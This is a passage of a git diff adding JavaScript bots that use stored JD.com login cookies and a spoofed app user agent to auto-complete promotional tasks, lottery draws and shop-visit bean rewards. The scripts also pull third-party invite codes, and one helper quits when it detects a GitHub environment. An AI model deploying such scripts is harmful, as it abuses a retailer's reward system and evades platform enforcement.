- ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await interact_template_getHomeData() + await showMsg(); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 +function interact_template_getHomeData(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + console.log(data.data.bizMsg); + return + } + scorePerLottery = data.data.result.userInfo.scorePerLottery||data.data.result.userInfo.lotteryMinusScore + if (data.data.result.raiseInfo&&data.data.result.raiseInfo.levelList) scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel]; + //console.log(scorePerLottery) + for (let i = 0;i < data.data.result.taskVos.length;i ++) { + console.log("\n" + data.data.result.taskVos[i].taskType + '-' + data.data.result.taskVos[i].taskName + '-' + (data.data.result.taskVos[i].status === 1 ? `已完成${data.data.result.taskVos[i].times}-未完成${data.data.result.taskVos[i].maxTimes}` : "全部已完成")) + //签到 + if (data.data.result.taskVos[i].taskName === '邀请好友助力') { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`); + for (let code of $.newShareCodes) { + if (!code) continue + await harmony_collectScore(code, data.data.result.taskVos[i].taskId); + await $.wait(2000) + } + } + else if (data.data.result.taskVos[i].status === 3) { + console.log('开始抽奖') + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + else if ([0,13].includes(data.data.result.taskVos[i].taskType)) { + if (data.data.result.taskVos[i].status === 1) { + await harmony_collectScore(data.data.result.taskVos[i].simpleRecordInfoVo.taskToken,data.data.result.taskVos[i].taskId); + } + } + else if ([14,6].includes(data.data.result.taskVos[i].taskType)) { + //console.log(data.data.result.taskVos[i].assistTaskDetailVo.taskToken) + for (let j = 0;j <(data.data.result.userInfo.lotteryNum||0);j++) { + if (appId === "1EFRTxQ") { + await ts_smashGoldenEggs() + } else { + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + } + } + let list = data.data.result.taskVos[i].productInfoVos || data.data.result.taskVos[i].followShopVo || data.data.result.taskVos[i].shoppingActivityVos || data.data.result.taskVos[i].browseShopVo + for (let k = data.data.result.taskVos[i].times; k < data.data.result.taskVos[i].maxTimes; k++) { + for (let j in list) { + if (list[j].status === 1) { + //console.log(list[j].simpleRecordInfoVo||list[j].assistTaskDetailVo) + console.log("\n" + (list[j].title || list[j].shopName||list[j].skuName)) + //console.log(list[j].itemId) + if (list[j].itemId) { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId,list[j].itemId,1); + if (k === data.data.result.taskVos[i].maxTimes - 1) await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } else { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId) + } + list[j].status = 2; + break; + } + } + } + } + if (scorePerLottery) await interact_template_getLotteryResult(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//做任务 +function harmony_collectScore(taskToken,taskId,itemId = "",actionType = 0,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ?inviteId=${shareCode} + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${collectScoreFunPrefix}_collectScore&body={"appId":"${appId}","taskToken":"${taskToken}","taskId":${taskId}${itemId ? ',"itemId":"'+itemId+'"' : ''},"actionType":${actionType}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body += "&appid=golden-egg" + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizMsg === "任务领取成功") { + await harmony_collectScore(taskToken,taskId,itemId,0,parseInt(browseTime) * 1000); + } else{ + console.log(data.data.bizMsg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//抽奖 +function interact_template_getLotteryResult(taskId,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html?inviteId=P04z54XCjVXmYaW5m9cZ2f433tIlGBj3JnLHD0`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${lotteryResultFunPrefix}_getLotteryResult&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body = `functionId=ts_getLottery&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0&appid=golden-egg` + $.post(url, async (err, resp, data) => { + try { + if (!timeout) console.log('\n开始抽奖') + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (data.data.result.userAwardsCacheDto.jBeanAwardVo) { + console.log('京豆:' + data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + $.beans += parseInt(data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + } + if (data.data.result.raiseInfo) scorePerLottery = parseInt(data.data.result.raiseInfo.nextLevelScore); + if (parseInt(data.data.result.userScore) >= scorePerLottery && scorePerLottery) { + await interact_template_getLotteryResult(1000) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + + +//通知 +function showMsg() { + message += `任务已完成,本次运行获得京豆${$.beans}` + return new Promise(resolve => { + if ($.beans) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSGMH_SHARECODES) { + if (process.env.JDSGMH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSGMH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSGMH_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + // console.log(readShareCodeRes) + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://share.turinglabs.net/api/v3/sgmh/query/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_shop.js b/jd_shop.js new file mode 100644 index 0000000..a5966c4 --- /dev/null +++ b/jd_shop.js @@ -0,0 +1,219 @@ +/* +进店领豆,每天可拿四京豆 +活动入口:京东APP首页-领京豆-进店领豆 +更新时间:2020-11-03 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===============Quantumultx=============== +[task_local] +#进店领豆 +10 0 * * * jd_shop.js, tag=进店领豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_shop.png, enabled=true +================Loon============ +[Script] +cron "10 0 * * *" script-path=jd_shop.js,tag=进店领豆 +==============Surge=============== +[Script] +进店领豆 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_shop.js +*/ +const $ = new Env('进店领豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = ''; + +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jdShop(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdShop() { + const taskData = await getTask(); + if (taskData.code === '0') { + if (!taskData.data.taskList) { + console.log(`${taskData.data.taskErrorTips}\n`); + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n${taskData.data.taskErrorTips}`); + } else { + const { taskList } = taskData.data; + let beanCount = 0; + for (let item of taskList) { + if (item.taskStatus === 3) { + console.log(`${item.shopName} 已拿到2京豆\n`) + } else { + console.log(`taskId::${item.taskId}`) + const doTaskRes = await doTask(item.taskId); + if (doTaskRes.code === '0') { + beanCount += 2; + } + } + } + console.log(`beanCount::${beanCount}`); + if (beanCount > 0) { + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n成功领取${beanCount}京豆`); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`); + // } + // if ($.isNode()) { + // await notify.BarkNotify(`${$.name}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`); + // } + } + } + } +} +function doTask(taskId) { + console.log(`doTask-taskId::${taskId}`) + return new Promise(resolve => { + const body = { 'taskId': `${taskId}` }; + const options = { + url: `${JD_API_HOST}`, + body: `functionId=takeTask&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('\n进店领豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getTask(body = {}) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}`, + body: `functionId=queryTaskIndex&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('\n进店领豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 